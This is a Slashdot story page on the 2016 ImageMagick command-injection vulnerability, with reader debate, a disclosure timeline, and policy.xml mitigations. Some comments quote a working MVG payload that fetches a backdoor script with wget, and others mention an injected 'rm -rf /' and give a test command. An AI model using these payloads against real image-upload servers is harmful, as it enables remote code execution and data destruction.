Huge Number Of Sites Imperiled By Critical Image-Processing Vulnerability (arstechnica.com)

← Back to Stories (view on slashdot.org)

Huge Number Of Sites Imperiled By Critical Image-Processing Vulnerability (arstechnica.com)

Posted by msmash on Friday May 6, 2016 @03:22AM from the security-woes dept.

Dan Goodin, reporting for Ars Technica: A large number of websites are vulnerable to a simple attack that allows hackers to execute malicious code hidden inside booby-trapped images. The vulnerability resides in ImageMagick, a widely used image-processing library that's supported by PHP, Ruby, NodeJS, Python, and about a dozen other languages. Many social media and blogging sites, as well as a large number of content management systems, directly or indirectly rely on ImageMagick-based processing so they can resize images uploaded by end users. According to developer and security researcher Ryan Huber, ImageMagick suffers from a vulnerability that allows malformed images to force a Web server to execute code of an attacker's choosing. Websites that use ImageMagick and allow users to upload images are at risk of attacks that could completely compromise their security. "The exploit is trivial, so we expect it to be available within hours of this post," Huber wrote in a blog post. He went on to say: "We have collectively determined that these vulnerabilities are available to individuals other than the person(s) who discovered them. An unknowable number of people having access to these vulnerabilities makes this a critical issue for everyone using this software."

104 comments

Min score:

Reason:

Sort:

Surely Micro$oft's Fault! by Anonymous Coward · 2016-05-06 03:25 · Score: 0

Tell me how, oh wise Slashdotters!
1. Re:Surely Micro$oft's Fault! by Anonymous Coward · 2016-05-06 03:43 · Score: 0
  
  It's not just Slashdot. It seems like the Internet is getting senile. Too many sites are now full of raging buffoons, and provide no useful info.
C for insecurity by Anonymous Coward · 2016-05-06 03:27 · Score: 0

Again, why are we still TODAY writing critical core libraries in what is probably the lease secure language next to raw assembly? Go, Java, even Python would be much better alternatives.
1. Re:C for insecurity by dfn5 · 2016-05-06 03:40 · Score: 2
  
  Again, why are we still TODAY writing critical core libraries in what is probably the lease secure language next to raw assembly? Go, Java, even Python would be much better alternatives.
  Right, cuz Oracle isn't pumping out a security fix for java every other week.
  
  --
  -- Thou hast strayed far from the path of the Avatar.
2. Re:C for insecurity by Archangel+Michael · 2016-05-06 03:40 · Score: 1
  
  FYI, you're an idiot
  
  Written in C
  Please tell me, how being written in C is worse than being written in GO, Python and Java?
  
  --
  Agent K: A *person* is smart. People are dumb, stupid, panicky animals, and you know it.
3. Re:C for insecurity by Anonymous Coward · 2016-05-06 03:46 · Score: 0
  
  One word: Pointers.
4. Re:C for insecurity by Anonymous Coward · 2016-05-06 03:46 · Score: 2, Insightful
  
  It's not really the language, it's the coding.
  Like in human language, it's possible to say something grammatically incorrect in any language.
5. Re:C for insecurity by Anonymous Coward · 2016-05-06 03:48 · Score: 0
  
  Because those languages eliminate an extremely common category of bug? Name a major product written in C/C++ that *hasn't* had a buffer overflow vulnerability at some point.
6. Re:C for insecurity by Joce640k · 2016-05-06 03:54 · Score: 1
  
  Please tell me, how being written in C is worse than being written in GO, Python and Java?
  Simple: Because it could be written in C++.
  C++ is a modern language with all the performance of compiled C but with automatic buffer overflow checking, automatic memory management, no dangling pointers, etc.
  (Assuming you do it right and don't let any self-entitled C programmers touch the compiler)
  
  --
  No sig today...
7. Re:C for insecurity by Anonymous Coward · 2016-05-06 03:57 · Score: 1
  
  There were lots of security fixes for the java applet plugin in those past years, however that's not how java based websites are built. A JVM running in a server it's not the target for that kind of attacks.
8. Re:C for insecurity by Anonymous Coward · 2016-05-06 03:59 · Score: 0
  
  Because those are fucking slow?
  If you want to process 100s to thousands of images per second, you need a fast implementation, or you need to add more servers.
9. Re:C for insecurity by ArsenneLupin · 2016-05-06 04:04 · Score: 1
  
  This has nothing to do with C. It's not a buffer-overrun or other typical C flaw.
  It's a command-injection flaw, and any language that is able to call other programs through the shell would be vulnerable, and that includes both Python and Java.
10. Re:C for insecurity by Anonymous Coward · 2016-05-06 04:08 · Score: 1
  
  This exploit has nothing to do with pointers or buffer overflows.
  It seems to be some kind of parsing error which would not have been mitigated at all by using a different language.
11. Re:C for insecurity by MagicM · 2016-05-06 04:11 · Score: 4, Informative
  
  This bug has nothing to do with the language it's written in. It's a simple matter of failing to properly escape special characters when switching contexts (filename -> executable command). You can mess that up in any language.
12. Re:C for insecurity by SQLGuru · 2016-05-06 04:16 · Score: 1
  
  While fundamentally I agree with you --- it's really a fault of whoever wrote the image parsing logic......I'll counter to say that some languages have a different set of defaults when parsing data, so at a theoretical level, switching languages can help or hinder parsing code. But in the end, those default behaviours can be overridden and still ultimately fall on the developers shoulders to understand and either accept or not.
13. Re:C for insecurity by grumbel · 2016-05-06 04:25 · Score: 3, Interesting
  
  I'd blame the OS instead. Giving each process full access to the system just isn't a good way to do things and constantly leads to problems like this. Python can stop some those problems, but it provides by no means a secure sandbox. If you access the filesystem in Python, you still have full access to the filesystem. In cases such as this the process should be limited to exactly the data it needs to get the job done, meaning an input image, an output location and a bunch of configuration parameter.
14. Re:C for insecurity by Anonymous Coward · 2016-05-06 04:30 · Score: 0
  
  Because most programmers are smarter than you are, apparently.
15. Re: C for insecurity by Anonymous Coward · 2016-05-06 04:32 · Score: 0
  
  this is not a buffer overflow bug.
16. Re:C for insecurity by Anonymous Coward · 2016-05-06 04:35 · Score: 0
  
  So funny... Maybe you're serious; I dunno.
  C++ doesn't match the versatility and utility of C, simple as that. C++ is the Scientology of programming languages.
  I chuckle when I hear / read statements like "X programming language is superior to Y programming language
  as long as you do it right ". WTF does _that_ mean? Software is a discipline and takes work. You can do
  any language wrong, or choose the appropriate language and play that language's strength for the task at hand.
  PHP has its best fit for some applications that would be a waste of resources to write in C.
  Only thing I can offer is that things are better if you do it right in C than any other programming language, especially C++.
  Now get off my lawn.
  CAP === 'unionize'
17. Re:C for insecurity by Anonymous Coward · 2016-05-06 05:02 · Score: 0
  
  Again, why are we still TODAY writing critical core libraries in what is probably the lease secure language next to raw assembly? Go, Java, even Python would be much better alternatives.
  Security as it relates to specific programming languages seems like a rather silly topic to make blanket statements. It's kind of like saying one language is more efficient than another.
  And I guess what I mean by that, is the term "security" is a lot like the term "efficiency", in that it has little meaning without context.
  Efficiency could mean... It's efficient because it produces workable solutions with less code, or that it's efficient because it runs with a smaller footprint, runs on many platforms without much re-write, efficient to maintain because it's quite scale-able, or that it runs really fast... (which suggests that in some ways, assembly is more efficient than java, and in just as many ways, java is more efficient than assembly; depending on the conversation you happen to be having)
  Security, well, I wouldn't think that any one language is more secure than any other at face value... It's the software you build, and the frameworks and libraries that are already built which have security issues.. You can develop defensively in any language under the sun! I might even make such a bold statement to say that every piece of software on the planet has serious and disturbing security flaws, just waiting for somebody to figure out! I think Bash was the most surprising exploit I've seen in recent memory =)
  When I see reports like this, I don't think, man they shouldn't have written that in this specific language, because if you're not properly handling some inputs which allow access to un-intended usage of privileged code.. well.. that too could exist in the java world, just as easily!
  Also, What I think you're referring to is something along the lines of a "lower level" language being able to do things that don't make sense in "higher level" or more modern languages.. That's not less secure, that's more powerful! I think the only way you could draw that conclusion, is that newer languages and platforms protect you from yourself..
18. Re: C for insecurity by Anonymous Coward · 2016-05-06 05:03 · Score: 0
  
  Guess what Java is written in, C!
19. Re:C for insecurity by Anonymous Coward · 2016-05-06 05:06 · Score: 0
  
  You know that you can write insecure/bad code in any language? This is a problem of not validating the image/content properly. If you read an image, and the image tells you it is 1000000000x1000000000 pixel (not related to the image magick problem) and you just go ahead and allocate an array for it and your app/server runs out of memory... is that the languages fault? It is programmers not checking user input correctly, which is pretty much always the case for these exploits.
20. Re: C for insecurity by Anonymous Coward · 2016-05-06 05:07 · Score: 0
  
  As far as we know...
21. Re:C for insecurity by Anonymous Coward · 2016-05-06 05:14 · Score: 0
  
  C++ doesn't match the versatility and utility of C, simple as that.
  While C isn't an exact subset of C++, it's fairly close.
  
  C++ is the Scientology of programming languages.
  What does that make C? The Dianetics of programming languages?
22. Re: C for insecurity by Anonymous Coward · 2016-05-06 05:15 · Score: 0
  
  I don't think C is the cause of the exploit in this case.
23. Re:C for insecurity by Anonymous Coward · 2016-05-06 05:25 · Score: 0
  
  Only thing I can offer is that things are better if you do it right in C than any other programming language, especially C++.
  int *p = malloc(100 * sizeof(int));
  if (p)
  {
  //...
  free(p);
  }
  std::array<int, 100> p;
  //...
  Seems better in C++. Unless you mean harder to read, more complicated code.
24. Re:C for insecurity by Anonymous Coward · 2016-05-06 05:35 · Score: 0
  
  I remember when a zero size gif (or should that be a zero size file with a gif extension) would crash Internet Explorer.
25. Re:C for insecurity by Not-a-Neg · 2016-05-06 05:52 · Score: 1
  
  LOL, Java is written in C
  
  --
  -==- Buy a Mac and leave me alone!
26. Re:C for insecurity by Anonymous Coward · 2016-05-06 05:53 · Score: 0
  
  Erm... Go, Java, and Python?
27. Re:C for insecurity by Anonymous Coward · 2016-05-06 05:55 · Score: 0
  
  But you forgot PHP, the poster child of secure high level language. Perhaps the problem is not the language itself, but the lack of skills of the programmers and designers using it?
28. Re: C for insecurity by Anonymous Coward · 2016-05-06 06:05 · Score: 0
  
  I hate to break this to you, but...
  1.) Guess what gcc is written in, cc!
  2.) Guess what cc is written in, asm!
  3.) Guess what asm is written in...
  Alternatively,
  1.) Guess what gcc is written in, gcc!
  2.) Guess what IcedTea is written in, IcedTea! (No idea about Oracle Java, don't know, don't care, it's proprietary shit, do not want, do not care that the server admin at work decided to use Oracle Java.)
  3.) Guess what Haskell is written in, Haskell!
  Hint: you're not compiling gcc without an existing gcc binary!
  Hint: you're not compiling javac (IcedTea version) without an existing javac binary (any version)!
  Hint: you're not compiling ghc (Glasgow Haskell Compiler) without an existing ghc binary!
  Now, please install 4 Linux from Scratches, 8 Gentoo Boxen, and see me next week.
29. Re:C for insecurity by bad-badtz-maru · 2016-05-06 06:08 · Score: 1
  
  ImageMagick is as old as the hills...
30. Re: C for insecurity by Anonymous Coward · 2016-05-06 06:22 · Score: 0
  
  The details of the pertinent vulnerabilities are readily available. None of these vulnerabilities (there are multiple) utilize buffer overflows. Do you know what a buffer overflow is? -PCP
31. Re:C for insecurity by GiganticLyingMouth · 2016-05-06 07:43 · Score: 3, Informative
  
  Strictly speaking, those two aren't equivalent. The C example is using dynamic memory with runtime sizing, while the C++ one is using static sizing (and that array would be allocated on the stack). std::vector p would be the C equivalent. Other than that, I agree with you. Pretty much the only reason to use C these days is if your platform doesn't have a good C++ compiler.
32. Re:C for insecurity by Ice+Station+Zebra · 2016-05-06 10:55 · Score: 1
  
  qmail? djbdns?
33. Re:C for insecurity by Hylandr · 2016-05-06 11:17 · Score: 1
  
  Can't tell if this is a No true Scottsman or Genetics argument...
  
  --
  ~ People that think they are better than anyone else for any reason are the cause of all the strife in the world.
Fire, fire, fire, pants on fire! by __aaclcg7560 · 2016-05-06 03:35 · Score: 1, Insightful

"The exploit is trivial, so we expect it to be available within hours of this post," Huber wrote in a blog post.
Wouldn't it be prudent to get the maintainers for the library to patch first before making it exploit available to the public?
1. Re: Fire, fire, fire, pants on fire! by Anonymous Coward · 2016-05-06 03:45 · Score: 4, Insightful
  
  Because keeping exploits secret leads to an ostrich mentality. Companies often prefer to shoot the messenger rather than solve the problem.
2. Re:Fire, fire, fire, pants on fire! by Anonymous Coward · 2016-05-06 03:50 · Score: 5, Informative
  
  Suggestion: read the article and details, before making assumptions. Because if you did, you would have see that that was done. A patch was created but apparently not complete. They also include two mitigation 'patches' (config) in the disclosure. Considering the seriousness of this exploit (even I could understand it - which makes it beyond trivial) the more attention this gets, the better.
  From https://imagetragick.com/
  April, 21 2016 - file read vulnerability report for one of My.Com services from https://hackerone.com/stewie received by Mail.Ru Security Team. Issue is reportedly known to ImageMagic team.
  April, 21 2016 - file read vulnerability patched by My.Com development team
  April, 28 2016 - code execution vulnerability in ImageMagick was found by Nikolay Ermishkin from Mail.Ru Security Team while researching original report
  April, 30 2016 - code execution vulnerability reported to ImageMagick development team
  April, 30 2016 - code execution vulnerability fixed by ImageMagick (incomplete fix)
  April, 30 2016 - fixed ImageMagic version 6.9.3-9 published (incomplete fix)
  May, 1 2016 - ImageMagic informed of the fix bypass
  May, 2 2016 - limited disclosure to 'distros' mailing list
  May, 3 2016 - public disclosure at https://imagetragick.com/
3. Re:Fire, fire, fire, pants on fire! by Anonymous Coward · 2016-05-06 03:52 · Score: 0
  
  Unpaid software security analysts (to phrase it without emotional baggage) fall into two dominant factions.
  1) Full disclosure: if they find it, they post it
  2) Responsible disclosure: send a bug report to the developer and post it after the fix or if the developer takes a hostile stance.
  Some shift from full to responsible when they see the damage their posting caused. Some switch from responsible to full when they see companies ignore a critical vulnerability for multiple patches because it is not being actively exploited. There are other motives for changing preferences, but those seem to be the big two arguments that show up when the factions collide.
4. Re:Fire, fire, fire, pants on fire! by __aaclcg7560 · 2016-05-06 03:54 · Score: 1
  
  Suggestion: read the article and details, before making assumptions.
  This is Slashdot. You must be new around here.
5. Re:Fire, fire, fire, pants on fire! by OzPeter · 2016-05-06 04:03 · Score: 2
  
  Suggestion: read the article and details, before making assumptions.
  This is Slashdot. You must be new around here.
  What sort of newbie are you? He's AC .. I have seen him posting here for over a decade. He was one of the very first people to sign up for an account.
  
  --
  I am Slashdot. Are you Slashdot as well?
6. Re:Fire, fire, fire, pants on fire! by Anonymous Coward · 2016-05-06 04:09 · Score: 0
  
  Dude, it's open source. If you don't like something about it, instead of complaining and acting entitled, why don't you modify it yourself?
7. Re:Fire, fire, fire, pants on fire! by Anonymous Coward · 2016-05-06 04:11 · Score: 0
  
  "The exploit is trivial, so we expect it to be available within hours of this post," Huber wrote in a blog post.
  Wouldn't it be prudent to get the maintainers for the library to patch first before making it exploit available to the public?
  The public disclosure, with a mitigation procedure, was released on 3 May. It is now 6 May. How many exploits have there been during these hours? Why isn't the sky burning?
8. Re:Fire, fire, fire, pants on fire! by __aaclcg7560 · 2016-05-06 04:20 · Score: 1
  
  What sort of newbie are you? He's AC .. I have seen him posting here for over a decade.
  
  Over a decade ago most comments were posted under individual accounts and only goatse trolls posted under AC.
9. Re:Fire, fire, fire, pants on fire! by OzPeter · 2016-05-06 04:22 · Score: 2
  
  What sort of newbie are you? He's AC .. I have seen him posting here for over a decade.
  Over a decade ago most comments were posted under individual accounts and only goatse trolls posted under AC.
  So cut the guy some slack .. he's obviously cleaned up his life.
  
  --
  I am Slashdot. Are you Slashdot as well?
10. Re:Fire, fire, fire, pants on fire! by __aaclcg7560 · 2016-05-06 04:29 · Score: 1
  
  [...] complaining and acting entitled [...]
  Says the AC on the tiniest high horse.
11. Re:Fire, fire, fire, pants on fire! by Anonymous Coward · 2016-05-06 04:31 · Score: 0
  
  The exploit is already being used in the wild. Criminals already know about it anyway, so it is vital to get the word out to everyone as quickly as possible.
12. Re:Fire, fire, fire, pants on fire! by chispito · 2016-05-06 05:06 · Score: 1
  
  "The exploit is trivial, so we expect it to be available within hours of this post," Huber wrote in a blog post.
  Wouldn't it be prudent to get the maintainers for the library to patch first before making it exploit available to the public?
  No matter how long it takes to get a patched version of IM, it will take far longer for people to hunt down all the places that it's running. Five years from now people will still regularly be discovering sites running vulnerable versions of it because it's everywhere and there is likely to be no quick easy way to scan for it aside from uploading a malicious file.
  
  --
  The Daddy casts sleep on the Baby. The Baby resists!
13. Re:Fire, fire, fire, pants on fire! by Anonymous Coward · 2016-05-06 05:06 · Score: 0
  
  And woosh goes the joke over the head of the pretentious user posting with an account
14. Re:Fire, fire, fire, pants on fire! by __aaclcg7560 · 2016-05-06 05:16 · Score: 1
  
  And woosh goes the joke over the head of the pretentious user posting with an account
  WOOSH!
15. Re:Fire, fire, fire, pants on fire! by IMightB · 2016-05-06 07:45 · Score: 1
  
  It is my understanding that it's been fixed in the latest version of imagemagick, the problem is that the distro maintainers haven't backported it yet. There is also a trivial mitigation technique: https://bugzilla.redhat.com/sh...
16. Re: Fire, fire, fire, pants on fire! by gustygolf · 2016-05-06 19:16 · Score: 1
  
  ImageMagick isn't a company, last I checked.
  
  --
  "Slow Down Cowboy! It's been 58 minutes since you last successfully posted a comment" -- slashdot, driving users away.
Remind us what java and python are written in by Viol8 · 2016-05-06 03:47 · Score: 4, Funny

Take your time.
1. Re:Remind us what java and python are written in by zlives · 2016-05-06 05:02 · Score: 1
  
  apps?!!
2. Re:Remind us what java and python are written in by Gr8Apes · 2016-05-06 08:13 · Score: 1
  
  Java is written in... wait for it.... Java.
  The JVM, OTOH.....
  
  --
  The cesspool just got a check and balance.
Upload issue? Huh? by Viol8 · 2016-05-06 03:48 · Score: 1

FTA: "They said that recent versions of ImageMagick don't properly filter the uploaded file names before passing them to the server processes such as HTTPS."
Err, why is an image processing library doing network uploads anyway?
1. Re:Upload issue? Huh? by Anonymous Coward · 2016-05-06 03:53 · Score: 0
  
  Conversion, I assume.
2. Re:Upload issue? Huh? by ArsenneLupin · 2016-05-06 04:02 · Score: 2
  
  Err, why is an image processing library doing network uploads anyway?
  Reading comprehension, where are you?
  The image processing library does just that, process images. In some cases, it processes images that have been uploaded by users to a web site (think Facebook photo albums), and if the user maliciously uploaded a booby-trapped photo, he can now make the website execute commands that were not intended by the site operator...
3. Re:Upload issue? Huh? by Errol+backfiring · 2016-05-06 04:58 · Score: 1
  
  I thinks that is what is meant. If the upload routines do not check anything, that is hardly the fault of the library that comes next. Files that are not even images should never be given to ImageMagick at all. So I would say it is a vulnerability for lousily programmed websites, not for some library that happens to get poisonous input.
  
  --
  Nae king! Nae laird! Nae yurrupiean pressedent! We willna be fooled again!
4. Re:Upload issue? Huh? by ArsenneLupin · 2016-05-06 05:18 · Score: 3, Informative
  
  What, in your opinion should the upload receiving routines check? In the example, the website would resize profile photos that users upload. One image format would have the possibly to "include" contents that is to be downloaded from someplace else. Imagemagick performs such downloads by handing off that task to wget (or similar tool), which it calls via system(), completely forgetting to santize the URL (... so somebody might append "; rm -rf / to it, or somesuch). How do you propose that the upload routine of the web site catch this, short of parsing the entire image itself? But if it did that, there'd be no point of using an image processing tool at all, because the wrapper would already half done two thirds of the job.
5. Re:Upload issue? Huh? by Obfuscant · 2016-05-06 05:53 · Score: 1
  
  One image format would have the possibly to "include" contents that is to be downloaded from someplace else.
  
  Another example of overloading a simple function with unnecessary wide-scope actions. Why should an image processing program need to use wget to do anything?
  
  But if it did that, there'd be no point of using an image processing tool at all,
  
  Sounds like they're not using an image processing tool, they're using a command shell that happens to understand image formats.
6. Re:Upload issue? Huh? by Anonymous Coward · 2016-05-06 09:04 · Score: 0
  
  So. You've got nothing, then? You're not helping.
7. Re:Upload issue? Huh? by AC-x · 2016-05-06 10:39 · Score: 1
  
  Reading through the various linked articles it looks like the issue is that ImageMagick supports formats like SVG and MVG that allow for embedded images (and enables embedded images by default), but doesn't sanity check those filenames and instead can execute them as batch scripts.
  The example given is for a .mvg file:
  image Over 0,0 1,1 'url(https:";wget "http://pastebin.com/raw/badpastebin" -O /home/vhosts/file/backdoor.pl")'
8. Re:Upload issue? Huh? by Anonymous Coward · 2016-05-06 21:05 · Score: 0
  
  No, checking whether something that pretends to be an image is really an image is exactly what I expect an image processing library to do. To do that outside of ImageMagick I would need another image processing library -> not DRY and additional risk of vulnerabilities. What the upload routine should do is sanitize filenames by restricting them to something like hyphenated alphanumeric.
Hide the children! Block all images! by fustakrakich · 2016-05-06 03:49 · Score: 2

Shit! The internet is Nightmare on Elm Street. I'm too scared to leave Slashdot and go out and read the article.

--
“He’s not deformed, he’s just drunk!”
Its as secure as the programmer does .. by burni2 · 2016-05-06 03:50 · Score: 4, Insightful

Why are they much better alternatives?
The software written in (*) has no vulnerabilities?
Choosing a language does not really address security, because that choosing will affect how the programmer thinks about security and possibly the less experienced programmers will slack on "programming for safety" paradigm .. because the language does everything for the programmer.
For example:
Please have a look at fefe's gatling[1], an incredible fast http-server, with only very few security problems in the past - written entierly in "C". Also the funny thing is that certain of these highlevel languages will use bindings to these older libraries written in C.
So you will be bitten again.
From all information I overlook I can say, yes in "C" it is incredible easy to make simple errors with hugh consequences - choosing types for example. However "C"-programming can be made more secure with a strict application of certain rules especially on "forbidden" & dangerous constructions. The missconception why "C" is deemed as an insecure language is that much of the code in use stems from the "ancient" times, when such code was mostly not exposed to the raw unforgiving "force" of the internet.
Also there was not such a "zoo" for other different programming languages, so much of the software was implemented using "C". This effect is similar to todays "I use java now, I don't need to take care of security".
The different incarnations of "C" standards also play their part, similar to the "Perl-Mageddon" if you do not have a concise standard about how a programming language will be "interpreted" or "translated" you are deemed to introduce errors. Imagemagik is bloated & ancient, two aspects that are problematic. Fefe adheres to his own standards, that bloat and complexity are the real threats for security. (dietlibc vs. libc). And he is often correct on this topic.
[1] http://www.fefe.de/
1. Re:Its as secure as the programmer does .. by Flavianoep · 2016-05-06 03:59 · Score: 3, Interesting
  
  [1] http://www.fefe.de/
  That is the most Spartan website I've seen ever, and I am talking about the source too.
  
  --
  Linux is for people who don't mind RTFM.
2. Re:Its as secure as the programmer does .. by dgatwood · 2016-05-06 04:00 · Score: 4, Interesting
  
  From all information I overlook I can say, yes in "C" it is incredible easy to make simple errors with hugh consequences - choosing types for example. However "C"-programming can be made more secure with a strict application of certain rules especially on "forbidden" & dangerous constructions. The missconception why "C" is deemed as an insecure language is that much of the code in use stems from the "ancient" times, when such code was mostly not exposed to the raw unforgiving "force" of the internet.
  This—in much the same way that the huge number of PHP SQL injection attacks is not because PHP's SQL APIs are insecure, but rather because so much code is still around that was built against early APIs that lacked modern security features like template-based queries. Eventually, every language gets these sorts of complaints, and always for the same reason; most code out there is in a constant state of "deprecated, but still works, so we aren't going to touch it".
  
  --
  Check out my sci-fi/humor trilogy at PatriotsBooks.
3. Re:Its as secure as the programmer does .. by burni2 · 2016-05-06 04:07 · Score: 1
  
  Yes, but it contains everything one needs, "without" popping up here, popping down there, tracking your ass, analysing your mouse etc..
  In contrast to the "spartan" source, gatling works great.
  And you can even get that page with gprs without much delay!
4. Re:Its as secure as the programmer does .. by omnichad · 2016-05-06 04:17 · Score: 2
  
  but rather because so much code is still around that was built against early APIs
  
  How old? Even with the old APIs, you rarely seem to find custom PHP code where somebody bothered to do so much as addslashes() and that's been around since PHP 4.
5. Re:Its as secure as the programmer does .. by Anonymous Coward · 2016-05-06 04:51 · Score: 0
  
  "it is incredible easy to make simple errors with hugh consequences" - Propane
6. Re:Its as secure as the programmer does .. by Flavianoep · 2016-05-06 05:10 · Score: 1
  
  Yeah, and it looked clean and workmanlike.
  
  --
  Linux is for people who don't mind RTFM.
7. Re:Its as secure as the programmer does .. by Anonymous Coward · 2016-05-06 06:03 · Score: 0
  
  I like my workmen dirty.
8. Re:Its as secure as the programmer does .. by Anonymous Coward · 2016-05-06 06:29 · Score: 0
  
  It would seem you haven't spent any time on cr.yp.to. If you're interested in topics related to information security, I recommend it. -PCP
9. Re:Its as secure as the programmer does .. by Anonymous Coward · 2016-05-06 10:35 · Score: 0
  
  I blame SQL itself for this sort of thing. Using a human-readable language as a data interchange protocol is practically begging people to roll their own (insecure) clients for that protocol. PHP was always a poorly-designed language, but not because of anything to do with SQL.
10. Re:Its as secure as the programmer does .. by Anonymous Coward · 2016-05-06 11:24 · Score: 0
  
  Is this the first sighting of Google's new AI in the wild?
11. Re:Its as secure as the programmer does .. by Raenex · 2016-05-06 11:31 · Score: 1
  
  Also the funny thing is that certain of these highlevel languages will use bindings to these older libraries written in C.
  It's telling that C libraries are a major source of invulnerabilities in alternative, memory-safe languages.
  
  However "C"-programming can be made more secure with a strict application of certain rules especially on "forbidden" & dangerous constructions.
  Yeah, yeah, we've been hearing this tripe for decades. C is insecure by default, and it takes expertise and discipline to overcome that which is lacking in the real world, and even with all your "rules" you can still make a mistake. That's why in memory-safe languages all those "rules" are baked into the language.
12. Re:Its as secure as the programmer does .. by Anonymous Coward · 2016-05-06 13:14 · Score: 0
  
  Well ideally you're using prepared statements instead of passing user-generated strings directly into sql, so you don't need to call addslashes().
13. Re:Its as secure as the programmer does .. by omnichad · 2016-05-07 01:44 · Score: 1
  
  That just shifts the burden and enables novices to be less likely to leave gaping holes. It doesn't really make much difference to people who know what they're doing.
The "superiority" of open source strikes again! by Anonymous Coward · 2016-05-06 04:05 · Score: 0

Cue the apologists.
1. Re:The "superiority" of open source strikes again! by fbobraga · 2016-05-06 05:35 · Score: 0
  
  I bet will exists a patch in a hurry... on closed source, it it's an vendor exclusivity to provide...
Tripe by Anonymous Coward · 2016-05-06 04:09 · Score: 1

Does anyone else miss the old days of Slashdot when the comments were worth reading? I came into this article with mod points looking for things to upvote, but so far the comment breakdown seems to be 40% lame attempts at jokes, 30% an argument over whether C is a good programming language, 20% trolling, and 10% actual discussion of the bug at hand.
There was a time when the first comment you'd see would be a +5 Insightful comment that had an explanations some of the underlying technical flaws in ImageMagick that lead to the bug, a discussion of why the culture of the dev team was so slow to fix the flaw, and links to alternative libraries that were less prone to security vulnerabilities. How far Slashdot has fallen.
oooold by Anonymous Coward · 2016-05-06 04:22 · Score: 0

isn't this news old for like 3 days? I think there's already a patch out
Slashdot getting lazy & borrowing stories from by Anonymous Coward · 2016-05-06 04:23 · Score: 0

I've noticed this a lot lately.
Image processing or url parsing? by MobyDisk · 2016-05-06 04:48 · Score: 2

The headline says this is an image processing vulnerability. That makes it sound like someone could put embed code into a PNG/JPG/SVG file or something like that. But skimming the linked articles, it looks more like ImageMagick has a server product with bad URL parsing.
1. Re:Image processing or url parsing? by AC-x · 2016-05-06 10:42 · Score: 2
  
  That makes it sound like someone could put embed code into a PNG/JPG/SVG file or something like that. But skimming the linked articles, it looks more like ImageMagick has a server product with bad URL parsing.
  From what I gathered you can put embed code into SVG/MVG files, because it lets those formats specify embedded images by default and doesn't sanity check the URL.
  They give an MVG example for the exploit: image Over 0,0 1,1 'url(https:";wget "http://pastebin.com/raw/badpastebin" -O /home/vhosts/file/backdoor.pl")'
Most PHP apps are probably not affected by Anonymous Coward · 2016-05-06 04:55 · Score: 0

This is just a guess, but I think most php applications that deal with images use php-gd [www.libgd.org] instead of imagemagick, so maybe the number of affected sites isn't "as huge" as mentioned.
It goes without saying that they must have lots of different vulns, but probably not the ones detailed here.
1. Re:Most PHP apps are probably not affected by ninthbit · 2016-05-06 07:54 · Score: 1
  
  vBulletin supports gd by default, but it's no good for large files, and people taking photos on modern smart phones are posting HUGE images. ImageMagick is the quick fix. Its just a radio button to select it, and it fixes many of the resizing problems. Small forums that don't update their software as often as they should will be easily compromised by this for a while.
An intermediate fix by Artem+S.+Tashkinov · 2016-05-06 04:56 · Score: 5, Informative

Update your /etc/ImageMagick/policy.xml file so that it contains this (taken from http://imagetragick.com ) and restart corresponding daemons: <policymap> <policy domain="coder" rights="none" pattern="EPHEMERAL" /> <policy domain="coder" rights="none" pattern="URL" /> <policy domain="coder" rights="none" pattern="HTTPS" /> <policy domain="coder" rights="none" pattern="MVG" /> <policy domain="coder" rights="none" pattern="MSL" /> <policy domain="coder" rights="none" pattern="TEXT" /> <policy domain="coder" rights="none" pattern="SHOW" /> <policy domain="coder" rights="none" pattern="WIN" /> <policy domain="coder" rights="none" pattern="PLT" /> </policymap> You're safe now. The full fix is still being worked out.
1. Re:An intermediate fix by wwalker · 2016-05-06 06:23 · Score: 4, Informative
  
  And if you have the old version of ImageMagick (because you are on CentOS 5, for example) which doesn't support policy.xml, you can edit delegates.xml, by removing all delegates just to be safe. The file will be somewhere around: /usr/lib64/ImageMagick-6.2.8/config/
2. Re:An intermediate fix by Anonymous Coward · 2016-05-06 07:24 · Score: 0
  
  use: convert -list delegate to find config path (at least on 6.2.8)
  to test for the RCE -
  convert 'https:";echo vulnerable"' /tmp/a.png
  If you do delegates.xml fix you'll see
  convert: unable to open image `https:";echo vulnerable"': No such file or directory.
  convert: missing an image filename `/tmp/a.png'.
  if you don't you'll see "exploit"
Wait, what? by AutodidactLabrat · 2016-05-06 04:59 · Score: 0

Is this a stack overflow condition and if so, how does it grant ring 0 access to attack code?
1. Re:Wait, what? by Anonymous Coward · 2016-05-06 07:14 · Score: 0
  
  No, and it doesn't. You might try clicking a link for more information. -PCP
2. Re:Wait, what? by AutodidactLabrat · 2016-05-14 13:57 · Score: 1
  
  Just a little busy for reading the entirety. Hoping for a synopsis by the indulgent. Thanks for the update.
Re: ONLY apps can app apps! by Anonymous Coward · 2016-05-06 06:21 · Score: 0

You really have no life. But hey I'm browsing at -1 so I guess I don't either.
OT: /dev/random Replacement by Anonymous Coward · 2016-05-06 06:42 · Score: 0

https://github.com/YuriSuchoi/RandomNumberSource/wiki
Hillary And 1% Friends by Anonymous Coward · 2016-05-06 06:44 · Score: 0

...want it to be like that. There must be no plebejan feel secure to write anything they do not like on his computer.
Use GraphicsMagick instead by thisisauniqueid · 2016-05-06 10:11 · Score: 3, Informative

Turns out we should have been using the better fork since 2002 anyway.
1. Re:Use GraphicsMagick instead by UPi · 2016-05-06 22:31 · Score: 1
  
  I've been using GraphicsMagick ever since debian switched to that package for better compatibility. I have been very happy with it; it is fast, versatile and, as I learned to day, more secure. Some of my users e-mailed me to warn me of the ImageMagick vulnerability, It's good that I could sleep through this one.
  On a related note, not sanitizing incoming filenames is just bad security practice. It's the very first thing I do to any uploaded file.
2. Re:Use GraphicsMagick instead by Anonymous Coward · 2016-05-09 05:01 · Score: 0
  
  https://security-tracker.debia... claims that graphicsmagick has the same problem (I can't be bothered to test it myself right now.) Got a citation on graphicsmagick not being affected by this?